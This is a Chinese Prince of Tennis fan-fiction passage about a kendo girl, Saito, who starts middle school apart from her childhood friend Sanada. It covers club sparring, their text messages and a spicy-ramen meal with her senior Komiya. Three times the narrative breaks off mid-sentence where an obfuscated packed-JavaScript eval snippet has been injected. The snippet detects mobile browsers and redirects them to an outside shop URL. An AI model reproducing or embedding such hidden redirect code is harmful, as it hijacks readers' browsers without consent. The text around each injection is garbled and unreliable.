《[网王]运动笨蛋的XX盲区》 1. 国中的第一天 太奇怪了。 换上水手服的斋藤志罗站在的长龙队伍的队尾等拿早餐。 晨练结束后,参加剑道部的训练的全员前往食堂就餐,虽然食堂门口的看板上写着“仅供剑道部”,但是从队伍的长度来看,剑道部的人数似乎超量了。 剑道部能吸收得了这么多部员吗?斋藤怀疑。 心中虽有疑问,但斋藤不是陌生人主动交流的类型,她身姿笔挺,双手自然下垂交叠在一起,目光一直看着前方,保持着有礼认真的姿态,一般人看她这般也不敢轻易搭话。 不过斋藤可以用耳朵捕捉着周围的信息,她听见排在前面的几个人在交流着剑道部下午的“入部测试”,语气很紧张但是表情显得很兴奋。 斋藤没有被告知要求参加入部测试,这大概就意味她已经是剑道部的一员了。 同时这也可以解释,斋藤为什么觉得今早的晨练要求是穿着运动服,且训练内容也比斋藤想象中的要轻松。 原来是因为考虑到这些新人,训练量才有所保留。 斋藤的目光扫过那些讨论得兴致盎然的预备部员们,不禁为他们感到几分担忧。风岚国中剑道部的严苛训练可不是说笑的,希望他们能够坚持下去。 斋藤不自觉地想到了真田。 他应该正在立海大的网球部进行晨练吧。像立海大网球部这样的强队,想加入那里,也必定需要经过严格的测试。 真田君需要参加测试吗? 当然不会,斋藤自问自答,真田的网球实力她是有所耳闻的,入部根本不需要任何考验,他的教练肯定也早已将他列入正式部员。想到这里,斋藤的神情稍稍放松了一些。 哦,对了。 斋藤拿出手机,给真田发了一条信息。 【真田君,今天早上我一个人把道场的地板给擦了。】 虽然没有全部擦完。 斋藤将这条短信连着早上拍的带有社团帷幕的道场的照片发给了真田。 真田君——真田弦一郎是斋藤的青梅竹马。 真田有在他的祖父指导下学习剑道,不过剑道只是真田的爱好,他热衷的是网球。这一点与斋藤完全不一样。 正因为这样两人现在分别上了两所中学,真田上的是神奈川以网球见长的立海大附属中学校,而斋藤上的是东京剑道专长的都立风岚中学校。 虽然之前斋藤有和真田约好一起上立海大附属中学,但是她反悔了,选择了现在的学校。 原因一是都立风岚中学的剑道部很强,而且因为是公立中学,只要是有剑道这一技之长,不论富贵贫穷都会接受,并且认真培养。 原因二是曾经和斋藤的同一道场的大三岁的前辈小宫华丽是这里的学生,小宫前辈强烈推荐斋藤来这里上学。 原因三是,斋藤想确定她自己是不是喜欢真田。 六年级时同班的女生悄咪咪地跟斋藤八卦有女生暗恋真田,问她的感想,斋藤只是木然地盯着这个女生,给出了一句“我没有任何想法”。 “你跟真田那么亲近,却没有一点意思吗?” 也不是每天都在一起,斋藤反驳着,在闲暇时斋藤在剑道场,真田在网球场,他们都有各自的追求。 “可斋藤同学你只对真田同学特殊对待。” 因为是青梅竹马。斋藤理所当然地说。 “斋藤同学是女生啊!” 这有什么关系? “因为斋藤同学如果不是喜欢真田同学,那么就太奇怪了。” 我们只是青梅竹马。 嘴上这么回答着的斋藤,内心却因为这句话产生了波澜。 因为女同学的奇怪结论,斋藤开始不清楚她是否把真田当作异性去喜欢。 正好,小宫联系了斋藤,推荐她上自己所在的国中。 斋藤想,如果真的喜欢真田,一定会因为与真田分离而悲伤吧。 当斋藤对真田说:“抱歉,我不能和你上一个学校”时,真田严肃地盯着她,沉默不语。斋藤这才意识到自己的行为在真田眼中近乎“背叛”。 所幸斋藤详细解释了选择的前两个理由,真田很快就原谅了她。 “你要好好努力,早日拿到‘全中’的冠军。”真田拍着斋藤的肩膀,手中的力道却将这句祝愿转化成了不容置疑的命令。 斋藤怀着忐忑的心情提前几天来到学校,住进学校提供宿舍,夜晚惴惴不安地躺在床上等待入眠。 结果斋藤一夜好眠,并没有像偶像剧里的角色,颓废地躺在床上,抱着手机看着心仪对象的照片泪流满面,呢喃“想见你”,所以她确定自己确确实实没有喜欢真田。 没有喜欢上你真是太好了,真田君。斋藤心花怒放。 为此还特意给不知情的真田发了拉炮的表情贴图,换来了一句【不要乱发消息。】 斋藤似乎感觉有人从身后接近她,于是她冷静地熄灭手机屏幕,将手机塞进了裙子口袋里。 “好累啊~”来人是斋藤的舍友,山田遥,她直接将脑袋搁在了在了斋藤的肩上哀嚎着。 山田是东京本地人,家里是开和果子店的。 山田在和斋藤自我介绍的时候说,“你大概想问我为什么要住校吧?我没住校的话,放学之后就要回家去帮忙。” 山田还说至少国中三年,不想在面粉和砂糖浪费青春,如果可以高校三年也不行。 当斋藤问没有基础的她任何为什么要参加剑道部的入部测试,山田给出的回答是,想要有更多和斋藤交流的话题。 即便是场面话,斋藤还是对山田萌生好感,并回答:“山田同学你想说什么都行,我没有所谓。” 而且山田不是单纯的话多,她有察言观色的能力,总是能在恰当的时候停止闲话。 斋藤很庆幸自己的舍友是山田。 “最好不要这样,要是被监督看见了会被训。”斋藤提醒着。 “可是现在大家都这样了……” 身边的大部分一年级新生明显是勉强支撑着身体,似乎只要稍加用力他们就会变成一滩烂泥。 晨练已经让一部分人剔除出去了,而山田也是其中之一。 加油,山田,希望下午的入部测试能让监督刮目相看。斋藤在心中鼓励着山田。 山田嗅了嗅。 “好香啊……斋藤同学有擦香水?” “是止汗喷雾。” 常年练习剑道后斋藤很清楚练习完之后身上的味道会是怎样的冲击力和破坏力,尤其是夏天穿上全套装备练习之后,所以斋藤在开学之前带了止汗喷雾。 “你好会选,这种香味很适合你,我也想试试!” “好,我饭后借你。” 山田发现斋藤的姿态显得十分轻松自在,不禁问,“斋藤同学,你为什么总是这么精神?我起床时明明已经发现你不在宿舍了呢。” “我已经习惯早起了。” “那已经不是早起的程度了吧……你起那么早做什么啊?” “我去擦地板了。” “啊?” 山田似乎还想问些什么,但是她拿到早餐后,就把斋藤抛到一旁。 到了用餐的尾声,大部分学生离开了食堂。斋藤用餐完毕,将筷子横置在托盘中,轻声地说着“我吃饱了”,拿出手机,看到真田给了她的回复,立马打开聊天窗口。 【开学第一天,我很忙。】 真田回复,接着发了一个奖励用的樱花贴图,上面写的是“做得好”。 樱花鼓励贴图,是老师为了鼓励和培养成就感,给小孩子的象征性奖励。但到了小学高年级后,老师再也不用这种贴图形式的记录和评价学生的表现。 不过真田和斋藤两人会私下继续互相给对方贴这种贴纸。有了手机之后,他们就用手机里的贴图来代替实际的贴纸,但真田给斋藤这张贴图的要求似乎是越来越严苛了。 上一次真田给斋藤“做得很好”还是斋藤获得少年炼成大会的冠军。 【为什么是做得好?】斋藤不解地回复。 道场场馆这么大的地方,哪怕没有擦完,也是一件非常了不起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487274|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。 稍微等了一会,见对方没有回复,斋藤将手机收起来,准备开始上午的课程。 期间,在课间休息时会打开聊天应用查看信息,真田还是没有答复。 “果然很忙。”斋藤叹息着,她只能想象手握竹剑,用空挥驱走想要得到答案那种心痒难耐的感觉。 下午到了正式的社团活动时间,在宿舍换上剑道服的斋藤来到剑道部所在的道场场馆,有些学校会把室内体育馆当作道场使用,而风岚中学专门建了一个可以当作专业赛场的道场场馆。 道场场馆内被分成了两个部分,一边是新生的入部测试,而斋藤站在另一边,正式部员的训练区域。 临时监督对着免测的一年级新部员开始例行训话,内容大概就是剑道部的介绍平日的训练时间和内容,注意事项和社团禁忌。 穿着运动服的山田在对面测试区域一边蹦着,一边伸手,斋藤知道是在跟她打招呼,斋藤稍稍抬手回应着山田。 “斋藤你在做什么!” 不亏是剑道部的监督,这点小动作都能被捕捉到,斋藤想。 “热身,素振100次后,你们就和二年级的进行连续切返练习。” 完成训练后斋藤与对手——二年级的前辈面对面站立,“你守我攻”前辈毫不客气地说,双方行礼,一起摆出中段架势。 “喝!”对方大喝一声,往斋藤的面部中央挥下第一击。 这是相当大力的一击,敲得斋藤头皮发麻,震颤顺着脊椎延伸至胸腔让斋藤的心跳奔腾。 随后斋藤用竹剑接下对方的进攻,竹剑与竹剑干脆的撞击声回荡在空气中,和周围同样的声音一起融进整个道场场馆里。 挥下的频率随着对方的节奏不断提高,竹剑在空气中划出的残影越来越快。对方显然在试图挑战斋藤的极限,打击的动作却因节奏的加速而略显僵硬。 竹剑相击的声响愈发密集,对方的动作终于开始显现出疲态。对方挥剑的力量逐渐减弱,动作也变得僵硬起来。 斋藤敏锐地察觉到这一点,但并未立即停止。她依旧保持着稳定的节奏。 终于,二年级前辈在一次过快的挥剑中,竹剑停滞了一下,她的进攻节奏彻底被打乱。 面对前辈的失误,斋藤不动声色。 二年级前辈在不易察觉地停顿后很快恢复,并按着之前的节奏继续练习。 “面!”二年级前辈在收尾时的击面的力道和开始时一样有力。 虽然节奏被打乱了,但是收尾的时候有好好地击打到面并完成了残心,做得好,前辈,斋藤在心底夸赞对方。 之后的练习,二年级的前辈收敛了很多,不再像上来那样进行猛烈地进攻。 “停!”临时监督大声叫停了这一轮的训练。 “交换!” 现在轮到斋藤作为攻方,对手则是防守方。 通过刚才的练习,斋藤已经熟悉了对方的节奏,并摸清了对方能接下攻击的最快频率。这一次,她会选择在最适合的攻击频率,而不是单纯拼尽最快的速度挥剑。忽视练习的本质,那么一切的练习都没有任何意义。 挥下竹剑时,对对手怀有恭敬之心,也是剑道的一部分修行。 “练习结束!”监督一声令下,宣布训练告一段落。 “新人,你是在让着我吧?” 作为对手的二年级前辈语气中透着不甘,边调整呼吸边用力握着竹剑。 “多谢前辈赐教。” 斋藤将竹剑放置身侧,微微鞠躬。她的语气平静、克制,面罩下的脸没有一丝情绪波动。没有流下一滴汗的她并非刻意表现冷漠,而是单纯不喜欢在剑道场上进行多余的言语交流。 尽管前辈的用词带有些许资历的强调,但她并未误解斋藤的意图。斋藤自然也不打算开口纠正。 因为部分三年级的学长姐们去和监督一起去入部测试筛选新部员,少了前辈们的指导,今日的训练以基础训练为主,部活也很快结束了。 真田仍然没有回复斋藤的信息。 2. 逃避可—— 夜晚,斋藤安慰没有通过剑道部入部测试的山田后,在宿舍内专注地温习第二天的课程。 斋藤的书面十分整洁,除了用书挡整齐排列的参考书和剑道杂志之外,没有多余的物品。 书桌旁的小挂钩勾着一个全日本剑道联盟的吉祥物“武士狮”挂饰,小狮子全副武装,握着竹刀,表情坚毅,显得威风凛凛。那是真田去年圣诞节送她的礼物。斋藤猜真田送这个应该是希望她在上国中后能够坚持练习剑道。 斋藤一直觉得这个狮子的表情跟真田很像,但是说出来的话就是她自找麻烦了。 于是斋藤就把这个挂饰随身携带,让武士狮随时“监督”不让她懈怠。 抽屉里传出手机通知音,斋藤放下作业,满怀期待地打开应用。 【你每天都会去擦的。】 十分无趣,没有惊喜的答案,但的确是这样,斋藤耸了耸肩,认同了这个理由。 这条消息后面还接着一条消息。 【今天和幸村挑战了网球的前辈们,把全部他们打败了。】 【不亏是真田君。】斋藤由衷地赞叹着。 当然还有“做得很好”的樱花贴图。 对话气泡的旁“未读”瞬间跳成已读,并且真田立刻给了斋藤回复。 【斋藤君你什么时候挑战你的前辈们?】 真田的这句话直白得让斋藤有点措手不及,但也并不意外。真田就是这样的性格,他总想把他人推到“非做不可”的境地。 不过,在此之前真田从未在剑道上提过任何要求。 是因为真田对自己在网球上有高要求,所以让他所认同实力的青梅竹马也要保持同样的步调? 说到认同,真田和斋藤两人从未比试过,可真田对斋藤的实力却是发自内心的认可,或许是因为全日本少年炼成大会冠军的头衔,但更可能是真田的祖父——真田玄右卫门老师对斋藤实力的认可。正是这样,真田也学着自己的祖父称呼斋藤为“斋藤君”。 只是斋藤不知道怎么“进行”挑战,因为她小学时很听剑道老师的话,不可私自进行比试。 所以她没有主动挑战过别人。 而且开学进入社团的第一天就主动挑战学长姐们,这种行为太过引人注目。斋藤不想成为这种显眼的存在。 “真是的,这才刚开学……”斋藤小声地抱怨着真田地不耐烦,她用手抵着嘴唇,努力的寻思一些有说服力的理由。 【监督在,所以不会允许我们随便比试。】 【部活结束后应该没问题。】 看来监督这个理由行不通。 【前辈们看到我的实力自然会邀请我比试的。】 消息变成“已读”,但是真田并没有回复。 毕竟真田也不得不承认少年炼成大会的冠军的价值,这个理由很适合!斋藤享受着“赌对了”的满足感与成就感时,手机发出消息通知音。 【你为什么不主动挑战?】 说法不同,但是真田重新问了一遍斋藤一开始的问题。 【贸然挑战前辈感觉很失礼。】 斋藤的嘴唇因为纠结被拉成一条直线。 【如果他们没你强,那就是被比自己弱的人指点,这是浪费时间。】 【这里是风岚啊,全国数一数二的剑道强校,我相信前辈们一定是有实力的。】 【只要你充满敬意向他们提出挑战就不算是失礼。】 斋藤盯着屏幕,指尖不自觉地紧扣住手机,真田一旦固执起来,斋藤无力招架。唯有向他投降或者…… 【学校社团和校外的道场不一样,有些事你是逃避不了的。】 斋藤愣住了。 从学习剑道开始,斋藤对于挑战是来者不拒的。纵使对方挑战的目的是真的为了在她寻找优越感,斋藤也会点头应战。 斋藤既没有逃避过挑战,也没逃避自己是落败一方的可能性。 现在仅仅是因为斋藤没有按着真田的想要的步调去行事,就被说是逃避,实在是不讲道理。 斋藤想将这些传达给真田,但按着真田的个性,现在还是退一步比较好。她咬着嘴唇,忍耐着胸口被锐器戳击的感觉,指尖碰撞玻璃屏幕打出“哒哒哒”声音。 【我明白了,谢谢真田君的建议。】斋藤这么写着,随后快速退出了应用。 对,逃避。 斋藤擅长逃避,尤其是真田在固执己见的时候,她会先默默地退到一边,等真田稍事冷静后,再回到真田身边。 虽然很多事情不了了之,但也许正是斋藤灵活应对,她和真田很少发生争执。 但这不表示真田可以什么事情上都说斋藤喜欢逃避,尤其是剑道,这是违背事实。 斋藤靠在椅背上,抬头看着天花板出了一会儿神。还好现在斋藤和真田在不同的学校上学,要在同一个学校,又住的那么近,低头不见抬头见的,明天斋藤就会强迫自己主动挑战前辈们。 “吵架了?”躺在床上的看时尚杂志的山田问着斋藤。 “对不起,打扰山田同学你了。” “没有,只是斋藤同学看上去有点沮丧。所以是和父母吵架了?”山田再次追问,显然这是为了满足自己的好奇心。 “谢谢关心,不过我并没有和父母吵架。” 斋藤把手机随手放到一边,继续奋笔疾书。山田也没有再说什么。 第二天的部活,通过入部测试的部员开始学习正确的挥剑方式和步伐的基本功练习,而旧部员以及免测的新部员则开始了比试训练。这一环节不单纯是训练,更是为了测试免试部员在整个剑道部中的实力定位。 “监督,请允许我和斋藤比试。”一名女性学生率先向斋藤提出挑战。 斋藤看了一下这位主动开口的前辈,通过声音和腰间名牌确认,是第一天与她进行切返练习的二年级前辈。 真田君,前辈已经来邀请我挑战她了,都说不要那么着急了。她想把这个想法传递给真田。不过,眼下她的手机并不在手边。 比试开始,不到三分钟,斋藤就从前辈手中拿下了二本。 监督满意地点了点头,随即为斋藤指派了新的对手。 一个接一个的挑战接踵而至。 经历了数轮对决后,斋藤依然呼吸平稳稳健地站在场上。场边的同学和前辈们知道,斋藤志罗终有一天会成为风岚高中的女主将。 “明天该轮到三年级的前辈们了吧……”晚上,从公共浴室出来回到房间的过道里,斋藤边擦头发边轻声嘟哝着。 尽管今天的比试训练中,斋藤以大获全胜的成绩完成了二年级前辈们的车轮战,但她的表情依旧平静如常。胜负对她来说从来不是重点。 她的脑海中还在回放着比赛的每一个动作,那些微不可察的疏漏,步伐移动不够顺畅,挥剑不够迅速,让她觉得发挥还有提升的空间。与其为胜利欢呼,她更希望在下一次挥剑时做到完美无缺。 热水浴的温暖让她的神经稍稍放松了些。卸下了一天压力的斋藤显得慵懒而随性,拉起毛巾随意擦了擦湿漉漉的头发,随即拿起了手机。 打开通讯应用后,映入眼帘的是她和真田的最后一条短信,她发给他的“感谢”。 大概还在生气吧?斋藤觉得自己在这件事上没有错,但是她和真田是青梅竹马,如果她还在意的话就让斋藤显得小心眼。虽说不是斋藤主动申请挑战,她觉得把今天的事情告诉真田,应该能让他满意。 【真田君,我已经挑战过一些前辈了,是很强,不亏是小宫前辈推荐的学校。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487275|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 点击发送后,斋藤把手机放回衣兜里。 回到宿舍,斋藤用电吹风吹着差不多已经风干的短发,然后一头栽在床上。 全力以赴的比试要比日常练习要耗费精力。 虽然比试的当下感觉不到,但是一旦彻底放松下来就感觉身体连站着的力气都没有了。 “斋藤同学,来吃五家宝补充点糖分吧。” 斋藤双手抵着柔软的床面,双臂撑起身体,将疲惫的脸转向山田。 为了防止黑芝麻粉到处乱飘,山田将印着自家商标的食品袋递到斋藤面前,像是要全部送给斋藤。 比起一般的五家宝,山田家特制的五家宝因为外层被黑芝麻粉包裹,外形看上去像是一根让人提不起食欲的煤条,不过咬下一口,麦芽糖的甜味带着的焦香苦意与芝麻香,让从未吃过的斋藤赞不绝口。 “谢谢……不过我已经没有力再去刷牙了……” 山田用力地点了点头,收回了食品袋,转而兴奋地跟斋藤说:“今天斋藤同学在剑道部和二年级的前辈比试,大获全胜,真的好厉害!” 斋藤再次和山田道谢。 “那请你好好休息,我去别的房间玩。” 山田一蹦一跳地离开房间,待门被关上后,斋藤将脸埋在枕头中间。 没过多久,手机响了一声,斋藤磨磨蹭蹭地从衣兜里拿出手机,把埋在枕头里的头抬起,露出两只眼睛看屏幕。 信息是真田发来的,这是斋藤想不到的。 斋藤起身坐在床沿,点开信息。 【怎么样,应该没有女性前辈打得过你?】 这是什么怪问法?斋藤皱眉头,拨弄着撅起的嘴巴。 斋藤按着真田的角度去想了一下,剑道部和网球部不一样的地方是剑道部不以性别进行分部。 在剑道比试中,胜负取决于技术水平、反应速度和精神力量。因此,在比试中男女选手的对决不会因为体力悬殊而显得不公平。 但这并不意味平日里的比试练习完全忽视性别去分组练习。 不过按着真田的问题去回答,目前为止,没有,但是斋藤并不想这样回答,真田是胜利至上主义者,热血漫画里的努力所带来感动他是嗤之以鼻的。 斋藤则完全不一样,完全不在乎胜负的名头,对所有人的努力一视同仁的尊重,无论对方的性别、实力强弱,皆是如此。 【真田君觉得女生都很娇弱吗?】斋藤反问。 【你觉得你弱吗?】真田又把问题抛回去。 “原来真田君有把我当女” 斋藤停下按着屏幕的大拇指,撇了撇嘴,她感觉这是句话怪怪的,连打着退格键删掉了。 【我知道真田君觉得我不可能输给年龄相近的女生。但是能够打败我的人越多,我越开心。】 【我是为了变强来这里,不是为了成为最强。】 斋藤一股脑的将自己的想法告诉了真田,至于真田接不接受,斋藤根本没想过真田能不能接受。 真田没有回复文字,只是发了“做得很好”的樱花贴图。 斋藤的嘴角略微上扬,发给真田表示“感谢”的表情贴图。 【那么你会参加今年的“全中”吧?】 看到真田的回复,斋藤感觉一根由压力形成的棒子狠敲了一下她的脑袋,巨大的疲劳感再次席卷四肢百骸,连撑开眼皮的力气也没有了。 【我会为了这个目标努力的。晚安,真田君。】 斋藤强行结束了对话,再次倒在床上。 正当斋藤准备起身关灯时,有人打电话过来。斋藤知道这绝对不是真田的电话,因为两人在打电话之前会用短信询问对方是否方便。 斋藤拿起手机,手机荧幕上显示的名字是小宫华丽。 3. 小宫前辈 周末,风岚中学道场场馆内,被擦得光滑干净的地板倒映出天花板的颜色。竹剑碰撞声与脚底撞击着地板清脆的响声在空气中交织,夹杂着学生们的呼号。 虽然是周末,但剑道部的热情丝毫不减,十几名学生分散在训练场各处,三三两两地自主训练着。监督不在的情况下,完全放松下来的部员们似乎对训练更有热情,更加自觉。 “斋藤。” 临近午休,斋藤正在保养自己的装备,听见有人在叫自己的名字,循声望去,是三年级的前辈远藤诚,也是剑道部的副部长。 “前辈,请问有什么事吗?”斋藤停下手中的事,起身恭敬地询问。 “你下午有时间吗?我想和你进行比试训练。” “我有空,能和前辈进行训练我是的荣幸。” 斋藤保持平和的微笑,语气里的开心把她的好心情展现出来。 远藤诚是在剑道部里实力最强的女性部员,也是能和斋藤打的有来有回的少数部员之一。但是监督并不希望斋藤和远藤频繁进行比试。远藤总是约斋藤在周末自主练习时约战。 虽说斋藤和远藤的实力不相上下,但是教练还是指派经验参赛丰富的远藤成为全中女子单人的选手。 因为小宫占据了前两年的全中女子单人参赛名额。今年是远藤前辈最后一次参加全中了,最后一次能在全中个人赛中出赛。 斋藤还记得当教练宣布比赛名单时,远藤紧张不安的眼神在斋藤和教练之间来回游移,在团体赛参赛者中听到自己的名字瞬间的低落以及听到个人赛也是自己时,在大家的欢呼声中,睁着眼睛捂住嘴巴。 “对了,要不然你和我们一起去吃午饭?”远藤用不经意地口吻邀请斋藤。 “谢谢前辈,不过我的装备还没有收拾好。”斋藤婉拒。 远藤略带遗憾地表示“那就没办法了”,并叮嘱斋藤要好好休息,然后在人群的簇拥下离开了场馆。 斋藤目送着离去的人群后,继续仔细擦拭着装备,在装备内部均匀缓慢地喷洒除臭喷雾。 防具不好好保养,有异味是小事,如果发霉腐烂加速老化变得脆弱,就根本起不到防御效果。竹剑也是,要是在比赛中突然断裂,很容易伤到对手,掉下来的碎屑也可能刺伤脚底。 所以对装备保养不能大意,大意的人是没有资格学习剑道的,技术也不会精进。 斋藤将装备工整地叠在一起,放回场馆里的装备储物格,回到宿舍换上制服并快速的在全身喷洒止汗喷雾,离开了学校。 上周,小宫主动打电话给斋藤。小宫说为了庆祝斋藤入学,今天她请客。 这是斋藤第一次和小宫出来吃饭。 小宫约见前特地和斋藤说自己和剑道部的人处的不好,所以指定斋藤去学校附近的一家个人经营的拉面店前等她。 还没来到店门前,斋藤就闻到一股浓重刺鼻的气味,她用手掩住鼻子,喷雾的香气充斥鼻腔。 斋藤不擅长吃辣的东西,她想一家餐厅里并不会只提供单一口味的餐品,到时候选择不辣的食物。 “斋藤,让你久等了。” 一个披着长发的和风丽人向斋藤走来,即便是穿着简约厚实的冬装,也让人的视线停留片刻。 “小宫前辈。” 小宫华丽,斋藤在道场认识同样也是被真田老师介绍到这里,大三岁的前辈,也是道场里那时的TOP 1——不分性别。 斋藤和小宫的友谊始于他们目前唯一的比试,比试之后,高冷的小宫握着斋藤的手,不顾场馆的禁止大声喧哗的规矩,大呼着要和斋藤做“朋友”。 小宫和斋藤做了一个约定,一个在外人看来过分奇怪的约定。 “斋藤你好厉害,我们的比试应该在更大更正式的擂台上,而不是这样狭小地方。” “你就继续努力地变强,给我惊喜。” “对了,可以的话,我希望在我们‘正式’比试之前,你不要对我的剑术有所了解,公平起见,我也不会主动了解斋藤你的。” 以上的话是小宫用完全不像一个小学女生说出来的嚣张的口吻说出来的。 斋藤依着约定,再也没和小宫进行比试。斋藤和小宫的共同兴趣只有剑道,但是对此从不深入交流,两个人就是通过约定维系着关系的陌生人。 所以斋藤在真田家看见跟随母亲上门拜访真田老师的小宫时,斋藤对真田老师说“我知道小宫前辈。” 两年后,小宫就去了岩手县,那好像是她父母的老家。 小宫偶尔打电话问候斋藤,但两人避而不谈剑道,话题总是很快耗尽,电话常以沉默收场。 斋藤因为小宫是前辈,因此话题再怎么无关痛痒,也总会尽量回应对方。 直到有一天,小宫和斋藤打电话说,自己开始姓“小宫”了,她又补了一句,虽然现在不再跟父亲的姓,但自己仍会继续跟随父亲学习剑道。 小宫是小宫华丽的母亲的姓氏。 明白这个意思的斋藤,不知道应该说些什么,只能对小宫说“请加油”。 斋藤觉得她一直在跟小宫说请加油是不是过于敷衍了,不过小宫回复的语气毫无波澜,似乎并不在意。 “进去吧。” 斋藤跟在小宫的身后,进入店内,刺激性的分子扑向斋藤的脸,她不禁咳了两声。 这是由个人经营的拉面店,室内光线也很昏暗,前台后面的墙上手写菜单已经泛黄,上面的主食都带着“辛”字,下面还画着辣椒。室内布局狭窄,吧台和卡座之间正好够一个人移动。已经入座享用午餐的客人,碗里都是红色。 店老板很熟络地跟小宫打着招呼,小宫直接对着老板伸出两根手指示意,“两份,照旧。” 因为是小宫请客,斋藤也不好说些什么,只能希望小宫点的食物能够勉强入口。 落座后,小宫脱下外套很自然地将细长的手指整理着自己的秀发,随性地缠绕着耳边的发丝,然后优雅地撩到耳后。 明明也是修行剑道的,但是小宫却能把这头黑色的长发打理保养的柔顺光滑,即便是摘下面罩和头巾后,她的头发堪比洗发水广告里的那样飘逸蓬松。 在别人眼里或许不是什么了不起的事,但这的确是斋藤佩服小宫的原因之一。 斋藤一开始就是因为没有办法独自把头发完全塞进头巾里,索性去理容院剪了超短发,现在她依旧保持这个发型。 “对不起,让你久等了。”小宫双手合十再次和斋藤道歉。 “没关系,小宫前辈说过不想和剑道部的人打照面,所以我多等一会也没事。”斋藤捧起服务员刚倒的热茶。 “斋藤真的是一个可靠的后辈。” 斋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487276|202083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藤轻声道谢,对话就此结束。 店长的吆喝声,后厨切菜的声音,吸食拉面的声音,热水沸腾的声音,让这家店满是烟火气,而斋藤这桌被沉默笼罩,与周围的环境格格不入。 “你有和剑道部人进行交流吗?”小宫主动打破沉默,摆弄着头发的手也停了下来。 “周末远藤前辈都会邀请我进行比试。” “远藤很好对付吧。”小宫扬起头嗤笑,眼睛瞥向别处,毫不掩饰轻蔑道。 “远藤前辈是个值得尊敬的对手。”斋藤抬起盯着茶杯中残余浅棕色的茶汤的眼睛看着小宫,说完后紧抿嘴唇。 “斋藤你还真是委婉。” “话说,你从他们口中听到我的事迹吗?”小宫将话题转到自己身上。 “前辈们并不知道我认识小宫前辈你。” 斋藤不明白小宫为什么会问这问题,小宫知道斋藤不会做出攀关系这样的事,不会拿他人作为话题与别人交流。 “我可是‘魔剑’,斋藤你就不好奇吗?” “小宫前辈,我是不会破坏跟你的约定。” “真不愧是斋藤。”小宫笑着。 在沉默重新爬上餐桌之前,服务员端着两碗拉面过来,分别放在小宫和斋藤地面前。 斋藤第一次在自己的碗里看到地狱拉面。 原本乳白浓稠的高汤在辣椒粉的浸染下变成了危险的红色,但淡黄色的柔和灯光中和了这份危险。 这没有任何用,因为在配菜的最上层,又覆盖了一层厚厚的辣椒粉。 斋藤在便利店路过方便面的货柜时,总是会留意到几近全黑的包装,用着鲜艳颜色书写着扎眼的名称,吉祥物总是会做出各种扭曲的表情,眼里带泪,嘴巴里喷着火焰。 这样不祥,不清爽,不自然的包装,让斋藤觉得自己吃下去不是食物而是化学试剂,甚至会与胃酸起反应发生爆炸也不是不可能。 至少眼前的拉面吃下去应该不会因为化学反应爆炸。 小宫扎起头发,一边用手扇着嘴边哈气,一边大快朵颐,脸上满是满足。 斋藤谨慎的挑起一根面条尝了一下,似乎是可以接受的辣度,她深呼吸,将筷子插进面团里,搛起一束,汤底洗去面上的辣椒粉后,塞进嘴里。 爆炸了。 脑细胞像是一连串的气球,其中的一个爆炸后,其他的一个一个的爆裂开来。舌头被麻到失去知觉,唯有疼痛持续刺激着味蕾,连没有味觉的喉咙的深处也被点燃了, “咳咳咳!” 更悲惨的是,刚才的咳嗽把辛辣的汤汁呛进了鼻子里,鼻涕和口水混着辛辣的汤汁一起喷了出去。斋藤完全想象不到口鼻与手掌之间的是什么样的灾难现场。 “好惨!”小宫惊呼一声,抽出一打面纸递到斋藤的手边。斋藤背过身,将面纸塞进脸和手掌之间,当面纸变成湿漉漉的一团后,迅速地用干净的纸巾包裹住,斋藤的视线全程都没有看那团“地狱绘卷”。 斋藤用新的纸巾猛地擦着嘴巴和脸,脸上也辣辣地,不知道是因为汤汁,还是擦得太用力。 “斋藤,要我跟老板说做一份不辣的拉面吗?” “不用!我可以吃完!”斋藤举起手阻止着小宫。 斋藤一边哭着,一边喝着冰镇汽水,当达到斋藤忍受的极限时,碗里的拉面还剩下一半。 4. 名为魔剑 和小宫一路无言走到校门前,斋藤与在和他人嬉闹的远藤不期而遇。斋藤停下脚步,站直身体准备向远藤打招呼。 远藤看到小宫的瞬间僵住了,眼中毫无神采,然后无视斋藤冲向小宫咆哮着。 “小宫,你在这里做什么!” 气氛瞬间将至冰点。 跟在远藤身后的女生们也用着戒备的眼神来回打量小宫和斋藤,然后互相使了个眼色,先进入学校,留下远藤一个人。 远藤的表情因为愤怒与恐惧扭曲了,小宫这边倒是显得悠哉。 “好歹我也算是你的前辈,直呼我的名字是不是有点失礼?” “最不会讲理的人是你吧。” “你要是够强大,我就可以跟你讲理了。” 斋藤盯着颐指气使的小宫,这是她第一次看到前辈姿态以外的小宫。 她真的一点也不了解小宫。 “小宫!” “斋藤,全中要加油啊。” 小宫无视了远藤,转而和斋藤打气,一场斋藤不会参加的比赛打气。 “……我会努力的。” 